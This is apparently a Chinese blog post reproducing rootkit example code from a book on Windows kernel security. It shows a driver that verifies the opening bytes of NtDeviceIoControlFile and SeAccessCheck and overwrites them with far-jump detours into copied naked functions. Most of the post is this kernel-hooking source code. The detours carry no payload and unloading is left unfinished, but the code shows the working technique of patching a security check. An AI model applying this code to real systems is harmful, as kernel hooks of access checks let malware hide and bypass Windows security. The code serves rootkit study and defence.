x86 内核函数detour补丁

本文探讨了rootkit技术中如何对Windows内核函数NtDeviceIoControlFile进行detour补丁,讲解了如何检查该函数是否已被hook,并提供了相关示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本文和代码来自rootkit——windows内核的安全防护

下面展示一个rootkit示例,可以解释对内核函数的detour补丁

 

 1 #include "ntddk.h"
 2 
 3 NTSYSAPI
 4 NTSTATUS
 5 NTAPI
 6 NtDeviceIoControlFile(
 7     IN HANDLE hFile,
 8     IN HANDLE hEvent OPTIONAL,
 9     IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
10     IN PVOID IoApcContext OPTIONAL,
11     OUT PIO_STATUS_BLOCK pIoStatusBlock,
12     IN ULONG DeviceIoControlCode,
13     IN PVOID InBuffer OPTIONAL,
14     IN ULONG InBufferLength,
15     OUT PVOID OutBuffer OPTIONAL,
16     IN ULONG OutBufferLength
17 );
18 
19 NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
20 {
21     DbgPrint("My Driver Loaded!");
22     
23     // TODO!! theDriverObject->DriverUnload = OnUnload;
24 
25     if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile())
26     {
27         DbgPrint("Match Failure on NtDeviceIoControlFile!");
28         return STATUS_UNSUCCESSFUL;
29     }
30 
31     if(STATUS_SUCCESS != CheckFunctionBytesSeAccessCheck())
32     {
33         DbgPrint("Match Failure on SeAccessCheck!");
34         return STATUS_UNSUCCESSFUL;
35     }
36     
37     DetourFunctionNtDeviceIoControlFile();
38     DetourFunctionSeAccessCheck();
39 
40     return STATUS_SUCCESS;
41 }

检查NtDeviceIoControlFile是否已经被detour了

 1 NTSTATUS CheckFunctionBytesNtDeviceIoControlFile()
 2 {
 3     int i=0;
 4     char *p = (char *)NtDeviceIoControlFile;
 5 
 6     //The beginning of the NtDeviceIoControlFile function
 7     //should match: 
 8     //55        PUSH EBP
 9     //8BEC        MOV    EBP, ESP
10     //6A01        PUSH 01
11     //FF752C    PUSH DWORD PTR [EBP + 2C]
12     
13     char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C };
14 
15     while(i<8)
16     {
17         DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
18         if(p[i] != c[i])
19         {
20             return STATUS_UNSUCCESSFUL; 
21         }
22         i++;
23     }
24     return STATUS_SUCCESS;
25 }

 

这个也同理

 1 NTSTATUS CheckFunctionBytesSeAccessCheck()
 2 {
 3     int i=0;
 4     char *p = (char *)SeAccessCheck;
 5 
 6     //The beginning of the SeAccessCheck function
 7     //should match: 
 8     //55        PUSH EBP
 9     //8BEC        MOV    EBP, ESP
10     //53        PUSH EBX
11     //33DB        XOR EBX, EBX
12     //385D24    CMP [EBP+24], BL
13     char c[] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 };
14 
15     while(i<9)
16     {
17         DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
18         if(p[i] != c[i])
19         {
20             return STATUS_UNSUCCESSFUL; 
21         }
22         i++;
23     }
24     return STATUS_SUCCESS;
25 }

 

  1 VOID DetourFunctionSeAccessCheck()
  2 {
  3     char *actual_function = (char *)SeAccessCheck;
  4     char *non_paged_memory;
  5     unsigned long detour_address;
  6     unsigned long reentry_address;
  7     int i = 0;
  8 
  9     // assembles to jmp far 0008:11223344 where 11223344 is address of
 10     // our detour function, plus two NOP's to align up the patch
 11     char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 };
 12 
 13     // reenter the hooked function at a location past the overwritten opcodes
 14     // alignment is, of course, very important here
 15     reentry_address = ((unsigned long)SeAccessCheck) + 9; 
 16 
 17     non_paged_memory = ExAllocatePool(NonPagedPool, 256);
 18     
 19     // copy contents of our function into non paged memory
 20     // with a cap at 256 bytes (beware of possible read off end of page FIXME)
 21     for(i=0;i<256;i++)
 22     {
 23         ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_seaccesscheck)[i];
 24     }
 25 
 26     detour_address = (unsigned long)non_paged_memory;
 27     
 28     // stamp in the target address of the far jmp
 29     *( (unsigned long *)(&newcode[1]) ) = detour_address;
 30 
 31     // now, stamp in the return jmp into our detour
 32     // function
 33     for(i=0;i<200;i++)
 34     {
 35         if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
 36             (0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
 37             (0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
 38             (0xAA == ((unsigned char *)non_paged_memory)[i+3]))
 39         {
 40             // we found the address 0xAAAAAAAA
 41             // stamp it w/ the correct address
 42             *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;
 43             break;
 44         }
 45     }
 46 
 47     //TODO, raise IRQL
 48 
 49     //overwrite the bytes in the kernel function
 50     //to apply the detour jmp
 51     for(i=0;i < 9;i++)
 52     {
 53         actual_function[i] = newcode[i];
 54     }
 55 
 56     //TODO, drop IRQL
 57 }
 58 
 59 VOID DetourFunctionNtDeviceIoControlFile()
 60 {
 61     char *actual_function = (char *)NtDeviceIoControlFile;
 62     char *non_paged_memory;
 63     unsigned long detour_address;
 64     unsigned long reentry_address;
 65     int i = 0;
 66 
 67     // assembles to jmp far 0008:11223344 where 11223344 is address of
 68     // our detour function, plus one NOP to align up the patch
 69     char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };
 70 
 71     // reenter the hooked function at a location past the overwritten opcodes
 72     // alignment is, of course, very important here
 73     reentry_address = ((unsigned long)NtDeviceIoControlFile) + 8; 
 74 
 75     non_paged_memory = ExAllocatePool(NonPagedPool, 256);
 76     
 77     // copy contents of our function into non paged memory
 78     // with a cap at 256 bytes (beware of possible read off end of page FIXME)
 79     for(i=0;i<256;i++)
 80     {
 81         ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i];
 82     }
 83 
 84     detour_address = (unsigned long)non_paged_memory;
 85     
 86     // stamp in the target address of the far jmp
 87     *( (unsigned long *)(&newcode[1]) ) = detour_address;
 88 
 89     // now, stamp in the return jmp into our detour
 90     // function
 91     for(i=0;i<200;i++)
 92     {
 93         if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
 94             (0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
 95             (0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
 96             (0xAA == ((unsigned char *)non_paged_memory)[i+3]))
 97         {
 98             // we found the address 0xAAAAAAAA
 99             // stamp it w/ the correct address
100             *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;
101             break;
102         }
103     }
104 
105     //TODO, raise IRQL
106 
107     //overwrite the bytes in the kernel function
108     //to apply the detour jmp
109     for(i=0;i < 8;i++)
110     {
111         actual_function[i] = newcode[i];
112     }
113 
114     //TODO, drop IRQL
115 }
116 
117 VOID UnDetourFunction()
118 {
119     //TODO!
120 }
121 
122 VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
123 {
124     DbgPrint("My Driver Unloaded!");
125 
126     UnDetourFunction();
127 }
使用(naked)是强制编译器使该函数体内部只有这些指令 
 1 // naked functions have no prolog/epilog code - they are functionally like the 
 2 // target of a goto statement
 3 __declspec(naked) my_function_detour_seaccesscheck()
 4 {
 5     __asm
 6     {        
 7         // exec missing instructions
 8         push    ebp
 9         mov        ebp, esp
10         push    ebx
11         xor        ebx, ebx
12         cmp        [ebp+24], bl
13 
14         // jump to re-entry location in hooked function
15         // this gets 'stamped' with the correct address
16         // at runtime.
17         //
18         // we need to hard-code a far jmp, but the assembler
19         // that comes with the DDK will not poop this out
20         // for us, so we code it manually
21         // jmp FAR 0x08:0xAAAAAAAA
22         _emit 0xEA
23         _emit 0xAA
24         _emit 0xAA
25         _emit 0xAA
26         _emit 0xAA
27         _emit 0x08
28         _emit 0x00
29     }
30 }
31 
32 // We read this function into non-paged memory
33 // before we place the detour.  It seems that the
34 // driver code gets paged now and then, which is bad
35 // for children and other living things.
36 __declspec(naked) my_function_detour_ntdeviceiocontrolfile()
37 {
38     __asm
39     {        
40         // exec missing instructions
41         push    ebp
42         mov        ebp, esp
43         push    0x01
44         push    dword ptr [ebp+0x2C]
45 
46         // jump to re-entry location in hooked function
47         // this gets 'stamped' with the correct address
48         // at runtime.
49         //
50         // we need to hard-code a far jmp, but the assembler
51         // that comes with the DDK will not poop this out
52         // for us, so we code it manually
53         // jmp FAR 0x08:0xAAAAAAAA
54         _emit 0xEA
55         _emit 0xAA
56         _emit 0xAA
57         _emit 0xAA
58         _emit 0xAA
59         _emit 0x08
60         _emit 0x00
61     }
62 }

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值